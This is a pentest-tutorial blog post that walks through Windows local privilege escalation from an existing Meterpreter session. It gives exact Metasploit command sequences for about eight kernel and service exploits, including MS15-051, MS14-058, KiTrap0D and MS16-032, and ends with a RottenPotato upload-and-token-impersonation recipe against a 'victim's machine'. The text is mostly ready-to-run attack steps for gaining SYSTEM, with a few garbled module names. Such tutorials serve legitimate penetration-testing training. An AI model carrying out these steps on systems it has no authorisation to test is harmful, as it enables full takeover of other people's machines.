Windows Kernel Exploit Privilege Escalation

Hello Friends!! In our previous article we had discussed “Vectors of Windows Privilege Escalation using automated script” and today we are demonstrating the Windows privilege escalation via Kernel exploitation methodologies. For this purpose, we will utilize an in-built Metasploit module known as Local Exploit Suggester. The objective of this suggester is to just identify what parts of a system can be exploitable and to give us an insight on the best matching possible exploits available ,which can be further utilized to elevate the privileges .

Table of content

§  Windows-Exploit-suggester

§  Windows ClientCopyImage Win32k Exploit

§  Windows TrackPopupMenu Win32k NULL Pointer Dereference

§  Windows SYSTEM Escalation via KiTrap0D

§  Windows Escalate Task Scheduler XML Privilege Escalation

§  MS16-016 mrxdav.sys WebDav Local Privilege Escalation

§  EPATHOBJ::pprFlattenRec Local Privilege Escalation

§  MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow

§  MS16-032 Secondary Logon Handle Privilege Escalation

§  RottenPotato

Windows-Exploit-suggester

The Metasploit in-built module suggests various local exploits that can be used to perform Privilege escalation and provides a suggestion based on the architecture, platform (i.e the operating system it's being run on), session type and required default options. It saves our time as we don't have to manually search around for local exploits, until none of the option provided works.

It is also significant to note that , not ALL of these listed local exploits will be fired.

Usage

Note : For using the local exploit suggester, we must already have a Meterpreter session opened for our target machine. However, before running the Local Exploit suggester we need to put our existing active Meterpreter session to background (CTRL + Z)

Below is the example of the same, let’s say our existing active Meterpreter session is 1

searchsploit exploit_suggester

use post/multi/recon/local_exploit_suggester

set LHOST 192.168.1.107

set SESSION 1

exploit

As you can observe it has suggested some post exploits against which the target is vulnerable and that can provide higher-privilege shell.

Windows ClientCopyImage Win32k Exploit

Vulnerabilities in Windows Kernel-Mode Drivers could allow elevation of privilege. This module exploits improper object handling in the win32k.sys kernel mode driver.

This module has been tested on vulnerable builds of Windows 7 x64 and x86, Windows 2008 R2 SP1 x64.

Let’s navigate to MSF console and execute this exploit

use exploit/windows/local/ms15_051_client_copy_image

set lhost 192.168.1.107

set session 1

exploit

Another Meterpreter session gets opened, once the selected exploit has been executed

getsystem

getuid

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM

Windows TrackPopupMenu Win32k NULL Pointer Dereference

 This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution.

This module has been tested on Windows XP SP3, Windows Server 2003 SP2, Windows 7 SP1 Windows Server 2008 32bits and Windows Server 2008 R2 SP1 64 bits.

Let’s navigate to MSF console and execute this exploit

use exploit/windows/local/ms14_058_track_popup_menu

set lhost 192.168.1.107

set session 1

exploit

Another Meterpreter session gets opened ,once the selected exploit has been executed

getsystem

getuid

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM

Windows SYSTEM Escalation via KiTrap0D

This module will create a new session with SYSTEM privileges via the KiTrap0D exploit If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.

This module has been tested on vulnerable builds of Windows Server 2003, Windows Server 2008, Windows 7, XP for 32-bit Systems.

Let’s navigate to MSF console and execute this exploit

use exploit/windows/local/ms10_015_kitrap0d

set lhost 192.168.1.107

set session 1

exploit

Another Meterpreter session gets opened, once the selected exploit has been executed

getsystem

getuid

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM

Windows Escalate Task Scheduler XML Privilege Escalation

This Vulnerability in Task Scheduler could allow elevation of privileges

This security update resolves a publicly disclosed vulnerability in Windows Task Scheduler. The vulnerability could allow elevation of privilege if an attacker logged on to an affected system and ran a specially crafted application. An attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.

This module has been tested on vulnerable builds of Windows Vista , Windows 7 , Windows Server 2008 x64 and x86

Let’s navigate to MSF console and execute this exploit

use exploit/windows/local/ms10_092_schelevator

set lhost 192.168.1.107

set session 1

exploit

Another Meterpreter session gets opened, once the selected exploit has been executed

getsystem

getuid

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM

MS16-016 mrxdav.sys WebDav Local Privilege Escalation

This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate its privileges to NT AUTHORITY\SYSTEM before executing the specified payload within the context of the elevated process.

This module has been tested on vulnerable build of Windows 7 SP1 ,x86 architecture

Let’s navigate to MSF console and execute this exploit

use exploit/windows/local/ms16_016_webdav

set lhost 192.168.1.107

set session 1

exploit

Another Meterpreter session gets opened ,once the selected exploit has been executed

getsystem

getuid

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM

EPATHOBJ::pprFlattenRec Local Privilege Escalation

This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage of uninitialized data which allows to corrupt memory.

At the moment, the module has been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.

Let’s navigate to MSF console and execute this exploit

use exploit/windows/local/ppr_flatten_rec

set lhost 192.168.1.107

set session 1

exploit

Another Meterpreter session gets opened, once the selected exploit has been executed

getsystem

getuid

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM

MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow

A kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe, achieving privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox. NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.

At the moment, the module has been tested successfully on Windows 7 SP1 x86

Let’s navigate to MSF console and execute this exploit

use exploit/windows/local/ms13_053_ schlamperei

set lhost 192.168.1.107

set session 1

exploit

Another Meterpreter session gets opened, once the selected exploit has been executed

getsystem

getuid

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM

MS16-032 Secondary Logon Handle Privilege Escalation

This module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores.

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

set session 1

exploit

Another Meterpreter session gets opened, once the selected exploit has been executed

getsystem

getuid

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM

RottenPotato

RottenPotato local privilege escalation from service account to SYSTEM.

It is important to impersonate the token (or run list_tokens -u) quickly after runnning the binary. With the current implementation, the token seems to disappear shortly after the binary is run. It is also important to follow the order of the steps. Make sure you "use incognito" before running the binary.

Incognito option in meterpreter session was originally a stand-alone application that permitted you to impersonate user tokens when successfully compromising a system. And then we need to do first is identify if there are any valid tokens on this system.

load incognito

list_token -u

If we talk related to impersonate token then you can see currently there is no token available.

Now downloads Rottenpotato from github for privilege escalation.

git clone https://github.com/foxglovesec/RottenPotato.git

cd RottenPotato

After downloading it will give rottenpotato.exe file.

Upload the exe file into victim’s machine

upload /root/Desktop/RottenPotato/rottenpotato.exe .

Now type below command for executing exe file and then add SYSTEM token under impersonate user tokens.

execute -Hc -f rottenpotato.exe

impersonate_token "NT AUTHORITY\\SYSTEM"

As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM